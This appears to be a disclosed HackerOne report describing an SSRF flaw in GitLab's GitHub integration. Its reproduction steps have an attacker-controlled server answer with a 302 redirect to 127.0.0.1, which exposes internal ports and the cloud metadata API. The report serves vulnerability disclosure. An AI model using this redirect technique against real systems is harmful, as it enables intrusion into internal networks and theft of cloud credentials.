GitLab's GitHub integration is vulnerable to SSRF redirect vulnerability
HackerOne report #446593 by jobert on 2018-11-18:
The GitHub service is vulnerable to a SSRF vulnerability. An attacker may be able to leverage this to make arbitrary POST
requests in a GitLab instance's internal network. It can also be used to connect to cloud provider's instance metadata API, which may result in the ability to execute commands on the machine.
Proof of concept
In order to reproduce the SSRF, follow the steps below.
- Sign in as any user
- Create a new project
- Add a
.gitlab-ci.yml
file with the following contents:
.gitlab-ci.yml
# This file is a template, and might need editing before it works on your project.
# see https://docs.gitlab.com/ce/ci/yaml/README.html for all available options
# you can delete this line if you're not using Docker
image: busybox:latest
before_script:
- echo "Before script section"
- echo "For example you might run an update here or install a build dependency"
- echo "Or perhaps you might print out some debugging details"
after_script:
- echo "After script section"
- echo "For example you might do some cleanup here"
build1:
stage: build
script:
- echo "Do your build here"
test1:
stage: test
script:
- echo "Do a test here"
- echo "For example run a test suite"
test2:
stage: test
script:
- echo "Do another parallel test here"
- echo "For example run a lint test"
deploy1:
stage: deploy
script:
- echo "Do your deploy here"
- Before a minute to make sure the pipelines are created based on the GitLab CI configuration file
- Set up the GitHub integration and an external repository URL that is under your control (e.g. http://remote_ip/1/2)
- Click the the
Test settings and save changes
button - Observe a request being made to the endpoint that looks something like this:
POST /api/v3/repos/1/2/statuses/5509244fe4919b85f5c1e0e1a2340805055c32d9 HTTP/1.1
Accept: application/vnd.github.v3+json
User-Agent: Octokit Ruby Gem 4.9.0
Content-Type: application/json
Authorization: token 1
Accept-Encoding: gzip;q=1.0,deflate;q=0.6,identity;q=0.3
Connection: close
Host: remote_ip
Content-Length: 158
{"context":"ci/gitlab/master","description":"Pipeline passed on GitLab","target_url":"https://gitlab.com/jobertabma/123/pipelines/36992118","state":"success"}
- respond with a 302 Found response that redirects back to the internal network using the
Location
header:
Response
HTTP/1.1 302 Found
Location: http://127.0.0.1/
Connection: Close
Content-Length: 0
- Observe the response of
127.0.0.1
(port 80) being returned in the UI through the error message:
- Or, port 8080:
- Or, port 22:
Impact
An attacker may be able to leverage this to make arbitrary POST
requests in a GitLab instance's internal network. It can also be used to connect to cloud provider's instance metadata API, which may result in the ability to execute commands on the machine.
Attachments
Warning: Attachments received through HackerOne, please exercise caution!